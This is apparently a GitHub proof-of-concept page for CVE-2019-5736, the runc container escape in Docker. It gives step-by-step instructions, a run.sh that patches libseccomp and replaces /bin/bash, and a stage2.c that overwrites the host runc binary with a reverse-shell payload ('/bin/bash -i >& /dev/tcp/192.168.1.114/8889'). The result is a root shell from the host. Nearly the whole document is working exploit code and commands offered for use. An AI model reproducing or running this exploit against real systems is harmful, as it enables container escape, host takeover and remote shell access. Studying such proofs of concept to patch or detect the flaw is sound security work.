CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source

https://github.com/si1ent-le/CVE-2019-5736

Associated Vulnerability

Title: Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

Readme

### CVE-2019-5736

参考：[cve-2019-5736-poc](https://github.com/agppp/cve-2019-5736-poc.git)  

   - (1). edit poc command in stage2.cve  
   - (2). build docker `docker build -t cve .`  
   - (3). run docker  `docker run -d cve /bin/bash -c "tail -f /dev/null"`  
   - (4). backup docker-runc  `cp /usr/bin/docker-runc /usr/bin/docker-runc.bak`  
   - (5). `docker exec -it docker-id /bin/bash`  
   - (6). edit run.sh libseccomp edition Exp:`cd /root/libseccomp-2.5.1`  
   - (7). in docker run `cd /root && ./run.sh && exit`  
   - (8). `docker exec -it docker-id /bin/bash`

### 修改部分
`run.sh`  
```shell
#!/bin/bash
# libseccomp版本及时关注容器创建后/root目录下下载的对应版本信息
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
```

### 实操
#### 环境
```
宿主机：Ubuntu18.04
Docker-ce：18.06.1~ce~3-0~ubuntu
docker-runc：1.0
```

#### 环境部署

```shell
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
# 如出错，cd /var/lib/dpkg/updates删除目录下的所有文件再执行以上
root@root:~# sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
```

#### 修改C文件

`stage2.c`  
```C
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char **argv) {

    printf("HAX2: argv: %s\n", argv[1]);
    int res1 = -1;
    int total = 10000;
    while(total>0 && res1== -1){

        int fd = open(argv[1], O_RDWR|O_TRUNC);
        printf("HAX2: fd: %d\n", fd);

        const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.114/8889 0>&1  &\n";
        int res = write(fd, poc, strlen(poc));
        printf("HAX2: res: %d, %d\n", res, errno);
        res1 = res;
        total--;
    }
}
```

#### 构建镜像

```bash
docker build -t cve-2019-5736 .
```

![image](/images/image-20220316153121353.png)  

#### 运行

```bash
docker run -d cve-2019-5736 /bin/bash -c "tail -f /dev/null"
```

![image](/images/image-20220316153150291.png)  

#### 备份宿主机`docker-runc`

因后期对系统内`docker-runc`文件进行覆盖操作  

```bash
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
```

#### 登录容器

```bash
docker exec -it 655378598a92 /bin/bash
```
#### 容器内执行

```bash
# 备注：及时修改run.sh文件中libseccomp版本信息再执行
cd /root 
./run.sh
exit
```
#### 重连容器

```bash
# docker exec -it 655378598a92 /bin/bash
# 此时nc监听会收到一个反弹宿主机的shell
```
![image](/images/image-20220316160716039.png)

File Snapshot

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